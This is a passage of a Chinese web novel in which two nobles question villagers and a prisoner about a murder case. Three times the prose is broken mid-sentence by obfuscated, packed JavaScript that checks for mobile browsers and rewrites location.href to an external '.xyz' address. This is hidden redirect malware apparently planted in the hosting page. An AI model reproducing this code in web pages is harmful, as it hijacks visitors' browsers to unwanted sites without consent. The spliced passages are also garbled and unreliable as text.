宁展琢磨透了，步千弈也是个两面派，却又同他不大一样。那厮对旁人板着脸，待宁佳与便笑靥如花，而他的两面，恰好反之。 他不免质疑，自己是否对年约及芨的小姑娘太过刻薄了？ 朝中百般卑鄙之流，他屡见不奇，尽可隐忍后发、好颜相待，为何面向宁佳与就总是不能自已？ 念及此，宁展不由在宁佳与身后轻声道。 “抱歉。” 宁佳与似是没听着，却让门边那顺风耳听得清楚。白歌不可思议地望向宁展，眼神如有将他碎尸万段之怨。 两两对视，长剑几欲出鞘。 胶着之际，院子外头来了好几位从江边返回的乡民。 前几位手拎浣衣棒、怀里抱木盆，后头的背上驮着酣睡女娃、身边牵着半大小子。 其中一位妇人惊喜道：“啊呀，这是......这是世子殿下吗！” 步州境内，无人不闻步世子一身青衣贵气，步溪集镇这般远离喧嚣之地亦不例外。 屋内几人闻声寻去，步千弈微微侧身，向外头颔首，神色复归淡漠。 不论男女老少，步溪臣民正是敬仰步世子那副毫无动容之态，好比世间没有任何事物能够撼动“神”的英姿。 此番能得回应，等同无上殊荣。 乡民们受宠若惊，争着抢着邀步世子一行人同去家中用饭。 “殿下！去我们家罢，我们家今日八菜、啊不，九菜三汤！人人管够！” 步千弈摆摆手，不欲劳烦乡民。 “殿下！还是去我们家罢，我家老头是宫廷周御厨他夫人的姐姐的堂叔的儿子的二表哥呀！他的手艺，定能合您口味！” 步千弈额角微抽，大为不解。 “殿下！我们......我们家的含桃，是一月前白公子亲自来取的，今个儿还有更新鲜的呢！” 步千弈自知逃不过，遂两眼一闭，干脆道：“就你们家了。” 37. 苗头 平日里没个正形的宁佳与眼下端静无比，宁展却低头憋着笑，肩膀一颤一颤，不想步千弈也有这般束手无策的时候。 昏黄迷蒙已去，繁星璀璨代之，几人应邀至卫子昀隔邻的乡民家中用饭。 步千弈任乡民们围在桌前关心，不言语，亦不拂袖而去。毕竟他们家的含桃确实不错，他忍，权当为了宁佳与日后的口福。 其余几位则帮着家主忙前忙后。 宁展未曾自报家门，只笑微微地斟酒、端菜，不亦乐乎。 家主不知几位贵客身份，但知他们是步世子身边才气不凡的客人，更是平易近民的好人。 白歌挑了个无人在意的隙间，以迅雷之势将宁佳与带出门外。 宁佳与疑惑，本能捂住折扇，警惕道：“作什么？” 白歌咬咬牙，低声恨道：“那个宁世子，可是欺负你了？” 宁佳与松了银骨扇，抱臂奇道：“你这又是哪儿捉来的怪风怪影？” “适才在卫氏家中，他鬼鬼祟祟。”白歌目光森冷，“躲在你身后飘了一句‘抱歉’。” 宁佳与不明所以。 她私以为，除却二人初会时宁展划了她后颈一道，似乎并无出格之举。 倒是她行刺未遂，且一直拿人家玩笑，而今自己能好端端站在这儿，说明黑心阎王的心——尚未黑全？ “他没欺负我。” “你是不是蠢啊！这时候还念着替外人遮掩。”白歌一副恨铁不成钢的模样，“再好好想想！” 见白歌如此较真，宁佳与只得在心里默默回顾。可她越想......越觉着自己太不当人了。 宁展明知她意图不轨，容她入阁不说，为她买清晨新鲜的冰酪，给她送颗颗盈满的含桃，代她向泰王请功讨赏，替她修补银骨折扇。 甚至拎来成山的面脂香膏供她挑选，虽然华而不实，至少能换白花花的银子。 若非日前宁展有心将入城之事托与她办，宁佳与真要把人当成施不望报的活菩萨了。 可这些没来由的好，其实未必值得她记在心里。 那是宁展坚持了十余载的仁义，她所以为的，正是宁展希望天下人所以为的。 宁佳与缓过神，闷声道：“没有。” “果真？”白歌依然存疑。 “没有。”宁佳与转身往回走。 白歌快步追上她，郑重叮嘱：“若是有，你得说。师父、殿下、还有我......我们听雪阁，饶不了这人。” 宁佳与终于复现往昔傲慢，揶揄道：“知道了，白婶婶！啰嗦。” 耳畔尽是家常，宁展意味深长地看着宁佳与进门，惹得她浑身不自在。 宁展在外尤其尊规守礼，纵迎面天降神女也目不斜视，又何时如此当众盯过哪位姑娘？他似觉不妥，方才不动声色地收回视线。 屋中熙和成团，无须过多避讳，宁展正当引手请宁佳与落座身侧，孰料让人抢了先。 一碧一绯的佳话传唱步溪，乡民们识得青衣贵气，自识得红衣飒飒。 妇人见宁佳与走来，忙替她摆正椅子，道：“姑娘来！姑娘与殿下青梅竹马，羡煞旁人，定是要挨着坐的！” 一屋子乡民齐齐附和：“对对对！” 宁佳与不好推辞热情，更不宜驳了步千弈的颜面，遂应声入席，行止间是少有的拘礼言笑。 有她在，步千弈脸色温和不少。 家主看步世子独对宁佳与含笑，深信传闻不假，道：“先前极少得见姑娘尊容，现在瞧来——天人之姿，与殿下天生一对啊！” 妇人欣喜叹道：“二位同坐一处，简直美得像画......” 宁佳与和同窗学的浑功夫这就好使了。 “哎呀，忙了一整日，饿得不行。多谢各位婶婶伯伯招待，我就不客气咯！”她捏起木筷，夹了菜即刻往嘴里塞，含糊道：“你们也吃啊，不然我都不好意思了。” 宁展眉梢一挑，瞥向步千弈。 那厮不仅端得架子、收得人心，连后宫、内宅勾心斗角之事也不在话下。 乡民拱着他和宁佳与天作之合的火，他不浇水不添柴，一边对大伙儿的话不作回应，一边自顾为宁佳与斟水又摘桃，还挂着令万千子民拜服的笑靥。 如此模棱两可，叫人怎能不把“佳话”当真？ 宁展暗道步千弈狼狗野心，明面则气定神闲，定得全然不觉自己一口接一口吃着饭，面前的佳肴美酒点滴未动。 这顿家常饭菜是香，却只乡民们连连举酒，兀自开怀，宁展等人各执心事，嘴里没滋没味。 一向明朗的景以承都瞧出了些许微妙，也兴致缺缺。 宁展默不作声吞完大碗白饭，若再不开口，便要憋死在这席间。 嘉宁世子的理智拉了他一把，出言即是正事：“敢问家主，可认识卫子昀？” 乡民们虽在官案前为卫子昀打抱不平，但忽闻此名，难免神情讪讪。 毕竟是个杀人不眨眼的凶犯，惊心骇耳。 家主向步千弈敬酒灌得自己七荤八素，这让宁展冷不丁问住，险些给他一头吓进菜盘里。他不敢贸然答话，便问步千弈：“殿下，这位贵人是？” “嘉宁世子，展凌君。”步千弈道。 席间几位客人以外无不胆颤，适才的好客之貌瞬间消去。 他们厌恶外州人，然看在君王的份上拿出六分好意相接不是难事。此番，盖因大伙儿不确定这嘉宁世子究竟是来登门拜访，还是来杀人灭口。 如今百姓因着卫子昀担惊受怕，他身为嘉宁世子兼青竹掌阁责重如山，宁展惭愧道：“鄙人代嘉宁承诺，不日定会还步溪、还七州一个公道。我在此，恳请大家配合。” 他站起长揖，俯身敬拜。 乡民茫然失措，都等着步千弈指示。 宁佳与分明低眉垂眸，极力抑制心绪，步千弈却留意到其眼底若隐若现的关切。 他太熟悉这个紧张的神情了。 步千弈抬手以示请便，家主舒了口气，起身迎道：“宁世子快坐，如此大礼，折煞草民了......” 话音未落，妇孺也接连回礼。 宁展目光扫过那对“天作之合”，移向席间，逐一致意：“多谢海涵，多谢。” 乡民自不知宁展与卫子昀之间还连着层主从关系，家主接着话茬，小心答：“草民与卫氏......不甚相熟，算是相识罢。宁世子......要打听些什么？” “宁某想问，此人如何？他的为人处世，行事作派，脾气秉性。” 在座没谁较宁展更了解卫子昀，确如旁人所言，他起早贪黑、老实本分。可他如今不管不顾的作风，让宁展觉得自己从未认识过他。 这话，宁展不单是为自己问，亦是问给步千弈听。 家主抿着干涩的嘴，两手规规矩矩握着一杯清水，慌得忘了饮下。 他犹豫半晌，生硬道：“卫氏......从前和这镇上许多人一样，是逃难来的流民，由白公子亲自接到此地安身。大伙儿开地种田，相互照应，至今已有九年。 “刚来时，他可比别个惨多了。别个顶多是吃不饱、穿不暖，病了只能等死，那起码还有命熬。而卫——他瞧着也就十三、四的年纪，浑身是伤，血淋淋的，半条命都不剩了。知道他不是咱们步溪人，也不能眼睁睁看他咽气啊，那多缺德......” 言语间，步千弈不着痕迹地瞥了以宁一眼。 谈及久远往事，家主逐渐宽作平常心，提起杯盏解渴，接着道：“好在这小子衣兜里揣了张的药方，隔壁老赵领了白公子给的银钱，就按着方子上集镇给他抓药。要说这不知哪来的方子还真神，不但救活了卫氏半条命，还能治咱们的怪血——” 家主身边的妇人直扯他衣角，低声呵道：“老陈！” 往昔回溯在目，激动之下，老陈将不该说的话一并吐了出来。 他半醉半醒，似乎错会了妇人的急切，边说边挠头：“哦哦，不好意思啊，卫小子不让咱们说的......” 听得老陈一席话，宁展不禁望向白歌。他没想到这位白公子同宁佳与如出一辙，都是牙尖嘴利的心软之人。 即使白歌看宁佳与再不顺眼，面对欺负师妹的伪君子，他也绝无好脸，遂立马别过头去。 老陈被夫人瞪得不轻，这才意识到自己又说错话了，赶紧扯开话茬。 “这、这个卫氏啊，那会还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679243|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩儿身板呢，但踏实肯干，屋子都是他自个儿造的。田里开地，他没少出力，且话少性子好，叫他做什么他都乐得。大家瞧着他年轻和顺，都叫他卫小子。” 这些话，大多是大理寺那头记下的供词，宁展心里明白。可他隐约觉着，此案并非寥寥数纸可以梳理之事，必然犹有缺漏。 席间正有人与他想到一块儿去了。 “那么楚珂姑娘呢？”宁佳与目如悬珠，笑吟吟道，“能不能请陈伯伯再说说楚珂姑娘？” 一声乖巧可亲的称谓，并着两眸星眼，教老陈不得不“如实招来”。 “当然、当然！”老陈嘴上应得爽快，脑子里还没盘算好如何回答。他搜肠刮肚思索，局促道：“但是......我好像记不清这楚姑娘从哪儿冒出来的了。” 陈夫人也想替“世子妃”分忧，于是接过话头。 “这楚姑娘啊，真真没有切实来历，活是从天而降的孩子。她去到卫小子家里，约莫七岁，却比没吃过饭的五岁娃娃还要小个，同卫小子当初一样，浑身是血。一碰上卫小子，她便不撒手了。” 宁佳与视线微滞，随口问：“这么说，是卫子昀将她带回来的？” 提及此处，陈夫人话里满是不平：“哪里呀！卫小子是不忍心看别个同他一般可怜，这才许人赖在自己家不走的！” 宁展跟着追问：“诸位可知，此二人在何处遇见？” 陈夫人犹豫着如何措辞，老陈不假思索道：“这个我倒记得，卫小子和我们讲过，便是在各家屋子对着最远的那片荒地。咱们这块儿地方大，可人少啊，大伙实在没有气力把地全给翻一遍。” 乡民的房屋齐平成列，近处是秧田沃野，远处则是片坦阔的平原。 老陈之所以称其为荒地，是之于近处这片收获颇丰的良田而言。 宁展来时对那片荒地印象不浅。 卫子昀在汇报书信中常对楚珂避而不谈，也极少提及鲜为人知的荒地。经老陈这一提醒，比起农耕，他直觉那片辽阔的原野另有其用处。 陈夫人又在给老陈使眼色，宁展不再往下打听，回归正题：“楚珂此人，如何？” “大家都知道卫小子少话，楚姑娘话更少！性子也不如卫小子好。分明咱们与她是同乡，可卫小子不在，她便谁都不搭理。起初还躲在板屋里闭门不出，日子久了......” 老陈躲着夫人说道。 “她才时不时坐在院儿里等人收活回家。自打卫小子收留她那天起，楚姑娘从未踏出院子半步。” 宁佳与面色如常，道：“那就是楚珂姑娘自己不肯出门，并没有‘囚禁’之事罢？” 陈夫人连连点头：“可不嘛！卫小子对她多好啊，供她吃住，田里挣的这点碎子儿全给她买漂亮衣裳了。那板屋，还是楚姑娘来了以后翻修筑高的，若不然寻常人家哪里要住这么费手脚的屋子。” 宁展见陈氏夫妇情绪正高，趁势追击：“那七位遇害的公子呢？” 老陈果然要脱口，陈夫人按下他，难为情道：“对不住啊宁世子，那些锦衣华服的贵公子，咱们上哪去认识呢？许是楚姑娘从前的仇家罢......” 宁展一边笑微微应了不妨事，一边不厌其烦地问老陈：“事发当日，乡民们都在何处？酒家堂中，可还有旁人在场？” 老陈满口笃定：“我们当然在田里忙着呀！除了掌柜的，理应没有别个！集镇人少，酒家生意本就难做......” 闻言，嘉宁主从面面相视。景以承也大约理解，宁展起初为何捧着数纸近乎毫无二致的供词反复翻看了。 对局过招亦真亦假时，比的就是谁更能稳得住心气。 临阵不乱，前景再模糊，端倪终可察。在貌似和睦实则互不相让的僵持下，亦能迅捷抓住令人耳目俱新的苗头。 卫、楚二人所言皆有不实之处，楚珂尤甚。此案凶残，但切不可妄下定论。 这便是宁展刻意问给步千弈听的目的。 无论大理寺踏步不进是无心还是蓄意，前者不走，后边自有人要走。 哪怕是地神，也无法掌控所有脚步的方向。 碗里的水若不能倾向嘉宁半分，就莫怪他拿步溪作证了。 38. 囚室 众人辞别陈氏夫妇，仍由以宁驱车返回城中。 步溪无宵禁，亥初三刻，乘舆驶入城街，犹然可见灯火辉煌，人语马嘶。 至于前昔集镇血肉横飞的酒家，且不说掌柜的因此被吓得一蹶不振，如今尚在医馆难省人事，便是当日另有他者在场，怕也是些惹不起墨川大家的过路人。 而那位“惹得起”之人，更则金口难开。 宁展自不必将寸阴尺璧的时间浪费在酒家，与其去撬虎狼之口，不如去叩山雀的门。 白歌的骏马依旧飞快，幸而有宁佳与指路，乘舆得以顺利回到高宅大院门前。 几人落车回府，步千弈神色漠然，像座不接春暖冬寒的死山。瞧见宁佳与要毫不犹豫跟下车，山中层林方才略有动势，沙响细微。 “雨妹妹。”步千弈叫住了堪堪踏出半步的宁佳与，“你去哪里？” 照理说，宁佳与早该跟着白歌回家向师父领罚了。 这供与宁展等人落脚的宅院本就不是她能久留的地界，那火烧火燎的难关更无须她一个外人去闯。 可她站在桥中央，却总是忍不住向宁展多走一步，再走一步...... “我......”宁佳与道，“还想去看看楚珂姑娘。” 步千弈欣然支持：“那便乘马车去好了。白歌会来驾车的。” 宁展隐约感觉宁佳与会同自己不谋而合，便候在帷帘外，预备扶她落车。 宁佳与迟疑未定，望着帷帘垂下，霎时风起幔晃，数千青丝撩动。她瞩目不转，与宁展眼中的期待迎面相撞。 两人一怔，齐齐撤了视线。 “青哥哥，宁世子似乎也想去一趟大狱。若放着乘舆留他独往......”宁佳与坐回原处，试探着问：“不合礼数罢？” “没什么不合礼数”就在嘴边，步千弈又被宁佳与盯得改了主意。他短叹一气，笑道：“都听你的。” 闻言，宁佳与正当引手挑帘，还算清醒的意识让她止住了这念头，只隔着帘子朝外道：“元公子，您要去大理寺，不若上车与我们同行罢。” 帘外静下少顷，传来一声淡淡的“好”。 等在院门前的以宁看宁展要上车，追出来道：“公子，属下......” 宁展明白以宁在担心什么，遂低声打断：“放心。人前，他们不敢动我。否则被逮住把柄，明日会谈哪里还有他们说话的份？” 大州少君风头压过小州君王乃常有之事，宁展的名望与日俱升，试问七州当下还有哪位凤子龙孙可以与之一较高低？ 然福祸相依，近来坊间传称——嘉宁世子是下一位统领七州的“宁帝”。 须知宁帝一词，本就是为羞辱琛惠帝传开的别名。 至于风从何处起，显而易见。 迎柳阁也不是头天想置宁展于死地了。 现今墨川占着上风，他们若把握时机，即可贴宁展一个“指使庶民残杀王公贵戚”的罪名。故迎柳阁反而不能轻举妄动，没准儿丁点儿纰漏便要将墨川近在眼前的胜局毁得稀烂。 以宁面露难色，宁展道：“我的身手，你还不了解吗？先回去罢，今夜无须留门。” 说罢，宁展转身上了马车。 以宁回望廊下朝他不停招手的景以承，步伐沉重。 除宁佳与外，白歌也是听雪阁中轻功数一数二的隐士。宁展上车不多时，他便悄无声息坐上了以宁原先的位置，驱车前行。 宁佳与兀自出神，被冷不丁的起势吓得猛扶车壁，随即朝外报复道：“白婶婶，去大理寺狱！” 打从白歌瞥见宁展上车的背影，便知道宁佳与今夜多半是回不去家了。他两眼翻白，怨道：“还用你说？啰嗦。” 宁佳与听得出白歌在怨什么，只好闭了嘴，心下祈祷届时不要被师父罚得太狠。 换作平时，李主事如何舍得真罚她一手带大的心肝？哪次不是当众说得吓人，罚得不痛不痒。 这回却不同，用宁展的话说，此事确是宁佳与太过放肆。 车内一时无声。 宁佳与闭目暗念，信女愿用今岁......哦不，愿用来年所有的含桃换师父消气。 其余两位看似相顾沉默，实则吐纳间俨如大战了几百回合。 半道，乘舆忽止。 三人望向帷帘，神情俱是警惕。外头一阵窸窸窣窣后，传来白歌恭肃非常的口吻：“殿下，宫中有请。” 步千弈面上闪过少有的诧异，平复道：“知道了。” 他从袖袋中掏出两兜沉坠的物什，轻放于宁佳与微张的手心，歉意莞尔：“雨妹妹，今次不能陪你同去了。且注意休息，白歌会守着你的。” “好，青哥哥也早些歇息。” 待步千弈下车，宁佳与才扯开两兜锦袋往里瞧。 果然是含桃。 她下意识要捏起一粒，然游移半晌，竟是将袋口重新扎起，袋绳系上腰侧。 这半晌的迟疑，宁展固然看在眼里，却不知宁佳与是迟于口腹之欲，还是迟于他人之情。 步千弈一走，白歌怨念更深，把手中的马鞭甩得魂不附体，似乎方才七平八稳的乘舆非他本人所驱。 电光石火，车马勒停。 白歌没好气地往里报：“到了！” 宁展尚在考虑要不要扶宁佳与落车，哪知人家压根不给机会，一溜烟儿便没了尾巴。他瞬间扶额，讶于自己无缘无故的好意，缓缓下了车。 走在前头的宁佳与猝然顿步回首，宁展几欲以为自己见不得光的小心思也被狐仙看了个透，不禁随之停下脚步。 宁佳与脑袋一偏，朝白歌问道：“你不进去吗？” “这大狱是什么好地方吗。你乐意去，”白歌背倚门框，睨着宁佳与，“我可不乐意。” 宁佳与知道他在嘲讽自己有家不回，也懒得争执，转身走远：“哦，那你等着罢。” 月半明，前边一早便候着位极惜命的司狱，天色再暗也不能认不出那身上头交代过的红衣，这会儿赶紧毕恭毕敬将人往里迎。 宁佳与扶着大门，看向犹在原处的宁展，提醒道：“元公子？” 宁展恍然，快步跟上。 司狱领着二人来到廊间，约莫亥正二刻。 牢内酣眠成片，长似龙喉的门廊垣壁上插着左右两列冲天火把，熊熊自灼，静待破晓时分的寂灭。 而楚珂所在，正是龙喉尽头那间僻静的囚室。 司狱乃是大理寺卿的一眼相中的学生，深得恩师真传，颇有眼色。几人行至尽头，他替二位开了门上的铁锁便拱手拜退，匆匆离去。 旁侧空无一人，迎面囚门大敞，二位却目目相觑，仿若拿不准先迈左脚还是先迈右脚，僵化门前。 草席赫然中央，其上坐着披头散发的姑娘。 她面向高墙，昂首凝窗。那身该是飘逸斑斓的软绸，业已沾上大片枯干的染血翎羽，了无生气，唯余满背颓靡。 循声扭头，即见她眸中遍地红丝，神意阴沉而涣散。 此景，说洞心怵目都是轻的。 宁佳与却非因惧却步，只懊悔自己为何没来得再快些。她咽了咽口水，打起精神道：“楚珂姑娘。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679244|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楚珂应言转身，目光越过了唤她的宁佳与，径直投向其身后的宁展。 楚珂若无其事垂了眼，宁展仍捕捉到她目光所探之处，正是自己腰间刻着“展凌”二字的少君腰牌。 宁展不是引火上身的蠢蛋。 他从不将少君腰牌佩戴在外，掌阁令牌亦如是。 这明晃晃的腰牌，是二人进大狱之前宁佳与的提议。 - “元公子，你可将少君腰牌带在身上？” “自然。” “如此，还请你暂且佩上，即知楚珂白日里究竟因何‘情急受惊’。” - 宁展近乎不由自主去相信她的提议，一口应了下来。 成效如何，二人相视一眼，不言而喻。 宁展上前两步，不等他开口，楚珂眼里若有若无的敌意便将那步子瞪了回去。 见状，宁佳与挡在宁展身前，委婉关心道：“楚珂姑娘，你还好吗？” 楚珂不再看两人，如故望向那扇高不可及的窄窗，不咸不淡说着别扭的官话：“你们来这坐上十天，你们会好吗？” 宁展方将拿出那副屡试不爽的君子之貌，被宁佳与一个抬手截了下来。 他不解欲言，哪料宁佳与猝然拽上他的袖袍，令他躬身垂首，附耳低语：“她现下不愿同你讲话。” 宁展当即耳热，脑海中不断重复宁佳与这句喃喃细语，面上一本正经地颔首。 宁佳与耳语间窥察着楚珂的情况，并未留意身侧乍青乍红的脸蛋。 她瞧楚珂不揪不睬，干脆直言道：“在我们来之前，你无故化了形？” 楚珂身形稍顿，不予回应。 宁佳与乘虚蹈隙：“你可知，这是违令逆章、藐视君上之罪？若墨川抓着此事不放，你觉得自己还能相安无事耗下去吗？” 楚珂果然回身，直勾勾盯着宁佳与，道：“怎么，这里有墨川人？就是你们两个？” “我们是不是墨川人不重要。”宁佳与不入她的步调，穷追不舍，“要紧的是，用你这重罪与墨川王室交易，便能换卫子昀一命。” 楚珂神情微滞，进而切齿道：“你说换就换？你以为我会信吗，你算什么东西。” “你放肆。”宁展拂袖怒道。他将宁佳与护在身后，不见昔日善气迎人之色。 宁佳与虽不恼楚珂出言无状，却因有阵子没听见宁展如此勃然呵斥，也跟着楚珂被吓得一颤。 虚惊过后，宁佳与随手拍了拍宁展的肩，以示宽慰。 “有了你无端化形、悖逆不轨的佐证，卫子昀便不再是残杀数人的屠夫，而是个受尽蛊惑、身不由己的庄稼汉。” 她端起两臂，言之凿凿。 “这般将你交与墨川，可不就能保卫子昀平安无事了么。” 楚珂终于被她凭空捏造之词激得两眼涨红，不可置信道：“你瞎讲！你、你满口胡言！你——” “你又何尝不是呢？”宁佳与摊开手，“满口胡言。” “你们走。”楚珂低下头，边说边收捡四下散落的翎羽，“别指望我会信你一个字。” “那你相信谁？我猜......”宁佳与缓步靠近楚珂，俯身问：“是卫子昀，对不对？” 楚珂嘴上不应，手上不停，似乎做好了不论宁佳与说什么都不会再为之动容的准备。 话已至此，宁佳与心里有了胜算，让楚珂交出她眼下最想要的两个答案。 “那株香樟树，是为楚珂姑娘你栽的。”宁佳与确信道。 楚珂眼睫一颤，双唇紧闭，将堆起的花白翎羽归拢入怀。 39. 熏香 “香樟苟延残息。后来，被那七位锦衣华服的贵公子毁了？”宁佳与道出今日最后一问，也得到了答案。 她话音未落，楚珂身后的雀尾徐徐显现。 藏了十天的纸没能包住火，楚珂心道——好像失败了，卫子昀。 “多谢，楚珂姑娘。”宁佳与颔首，而后抽扇起身，走向宁展。她不忍再看瘫坐原地的楚珂，遂扯动宁展的袖袍，轻声道：“走罢。” 宁展本一心端量楚珂的反应，不想宁佳与忽又靠近。廊上火把暗了，他方才想起应声：“好。” 两人走出大狱并未草草离开，而是由司狱一路领向大理寺卿的文房。 秉承“恩师知晓后定会有所嘉许”的信念，小司狱自作主张开了文房铜锁，还领到了令人又惊又喜的赏钱，说是犒劳他恪尽职守，下回还寻他引路！ 捧着比他仨月俸银还多的赏钱，小司狱笑开了花，手上拜着，嘴里谢着，心中还想诸如此般的大善人可否多来几位？ 司狱临走前替两位贵人亮好了灯烛，甚且连寺卿大人珍藏在案的名贵熏香都给他们点了两炉子。 只是这逐渐浓郁的香泽，似乎有些说不清、道不明之意。 两人察觉不妙，各自揉了揉鼻尖，仿若能将那意味不明的香泽抹去。 “咳......”宁展手中理着农夫斗杀案的供词，故作泰然，“看来对于案发前昔的事，并无一人愿意交代，包括集镇的乡民。” 宁佳与闻言忆起晚间陈氏夫妇漏洞百出的口述，忍俊不禁：“陈伯伯他们不是说了嘛，先是‘锦衣华服的贵公子’，再是‘酒家中并无旁人’。嗤......酒家掌柜尚不省人事，在地里干活的他们又从何得知。” 见她好容易能松快一会儿，宁展抿了抿嘴，将那句“酒家里亦有你的青哥哥在场”咽回肚子里。 青竹阁众人虽比不得听雪阁步履如影，但快在通风报信之迅速。 个中细节，旁人不清楚，宁展却清楚。 案发当日，城中的青竹隐士赶到步溪集镇时，恰逢步千弈自酒馆二层悄然离去。待他们扮作看客入店，即见掌柜早已晕厥倒地，卫子昀手握的刀犹在淌血。 集镇地广人稀，直至青竹隐士撤退，立于酒家数十步开外处尖叫的乡民也仅寥寥二三。 除步千弈外，还真教陈氏蒙准了，其间的确再无旁人入店。 此后，田陌与城街的百步里巷由赶来的巡卫及时围起。便是城中传得沸沸扬扬的骇人故事，亦未曾提及七位公子的身份。 依着乡民的供词和说法，本不该知晓那“锦衣华服”才是。 宁展低下头，平和道：“嗯，证明他们先前便见过那七位墨川大家的公子。” “元公子以为，这两拨人是何时打的照面？”言语间，宁佳与不禁想起那株命若悬丝的枯树。 假使不出意外，卫子昀家中那株移栽的香樟，大抵还能靠着他各式各样的补救法子再活个三年五载。而宁佳与一番试探，却发现此树竟不如无根木雕有活力，十有八九任人以外力狠狠摧残过。 “当日。”宁展抬眸，正色道，“那七人抵达步溪集镇的当日。想必闹出了不小动静，故邻舍瞩目。” 卫子昀前夕行事不管不顾，自没有向上呈请，青竹阁并不知那群贵公子何时到了步溪集镇。 宁展如此笃定，是深知所有乘船偷渡步溪之人，皆活不过第二天。 纵哪位身居高座者偷渡上了集镇，亦是死路一条。 青竹阁早已因此折损两员大将。 此番就算卫子昀不动手，听雪阁也不会留这七位公子哥的命。因而宁展听闻步千弈曾在集镇酒家露面时完全不诧异，但步千弈行事，不会做得像卫子昀那般惹人眼球。 “那株香樟被人伤得不轻。”宁佳与道。 “确实。其长势已毁，”宁展若有所思，“枝叶及树皮一应是后来糊上去的。” 那般行径，既不是热心好客的乡民，不是养树护树的卫子昀，更不是竭力伪饰后仍然为之动容的楚珂，多半就是大摇大摆闯民舍，闹得左邻右舍众目共睹的锦衣华服了。 这本是宁佳与一己猜想，但楚珂的沉默和雀尾给了她肯定。 “当日景况，许是墨川那几位闯了卫子昀的屋子闹事，惹得陈氏夫妇注意？”宁展看似提问，实则博人同情。 宁佳与并未留神听宁展的别有用心，只点头认可他的说法，轻轻打着扇子扇凉，闭目不语。 瞧她久不作声，宁展暗自推敲起她的神情，却因宁佳与阖了眼，竟让人一时无处探寻她究竟在想些什么。 入城以后，宁展端着这烫手非常的案子，时刻绷着根短弦。 奈何文房中挥之不去的香泽似乎浸软了心弦，搅得他意乱如麻，恍惚道：“小与，你说他们情愿替卫子昀抱不平，又为何不肯供出那七人闹事之举？” 如此人证、物证俱在，若是乡民们照实交代，岂不恰好为大伙口中老实本分的卫子昀正名，从而替他争取一线辩白之机吗？ 宁佳与视线复明，看向宁展的眼神中掠过些许疑惑，显然没料到老谋深算的嘉宁世子会问出这样的问题。 她随宁展目光寻去，方才了然。 原是那乱人心神的熏香所致。 “大抵，是因着彼时屋内只楚珂姑娘一人。若卫子昀尚在，几个富家子怎会是暗阁隐士的对手？”宁佳与含蓄道，“又如何能越过他毁了香樟树？” 说罢，她将折扇递与宁展。 宁展一愣，道：“......对啊，我竟昏了头了。” 正因屋中唯有楚珂一人，乡民们才齐心将此事瞒了下来。步溪虽不讲求嘉宁那些老套子，但姑娘家的清白，当由她自己说了算。 “不过......”宁展略显防备地挪开面前的银骨扇，生怕宁佳与那一击送人上路的飞针扎到自己脑袋上，“你这是何意？” 宁佳与理解他的顾虑，十分无辜：“借你用啊......去去熏香的味。” 宁展自知被她看穿了适间魂不守舍的心思，矢口否认：“熏香而已，何须避讳。” 他极不自然地摘了少君腰牌，不意右手探入左侧胸袋摸索了半晌衣料，也未能将腰牌成功收入内里。 今番与步溪世子、大理寺卿面晤，宁展身为嘉宁名声在外的世子，断不能轻装简冠，以免怠慢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679245|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而他南下本是私行，压根没预备会见达官显贵的正经衣冠。好在宁馨临了塞来几套上街顺带替他置办的新衣，外观倒是大气典雅，像那么回事。 可宁展哪料小妹一心扑在自个儿的霓裳羽衣上，无暇顾及兄长的宽袍是否制有最基础的内袋。 眼下看来，那几身袍子还真是郡主殿下捎带手给他挑的。绣工、面料、印染貌似样样上乘，其实敷衍至极。 宁佳与赶紧掩口，压着声儿道：“元公子的衣裳......与你不甚相熟啊。” 见宁展脸色不妙，她当即指向宁展腰间日日佩着的桃粉色，好心建议：“我看这腰牌也不大，暂且放那茄袋里呗。” “不妥。腰牌虽不大，坠着重得很。若是我的......”宁展挡住茄袋，煞有介事道，“给坠丢了，谁来赔？” “那你一开始把腰牌藏哪儿了？”宁佳与十分不解，复想起宁展先前取腰牌时特意避着她去了别处。她看向对方小腹，狐疑道：“总不能......” 宁佳与不敢细想，唯恐自己吐在寺卿大人的几案上。 “你放——”宁展几欲发作，转而念及自己才道过歉，又改口：“放哪儿都不可能放肚子里！” 宁佳与半信半疑，捂着肚子忍笑，含糊应付他一声。 宁展思来想去气不过，于是夺下银骨扇，自己不扇，亦不让旁人凉快。 他审视着弯腰捧腹的宁佳与，故作严肃道：“你怎的确定楚珂化了形？” 宁佳与顺着胸腔平复，如是道：“她若不曾化形，又如何扯下那满地沾血带肉的翎羽。” “她竟是生扯下来的？”宁展不禁蹙眉。 那般惨状，他还以为步溪大理寺终于不堪墨川威压，私自用了刑。 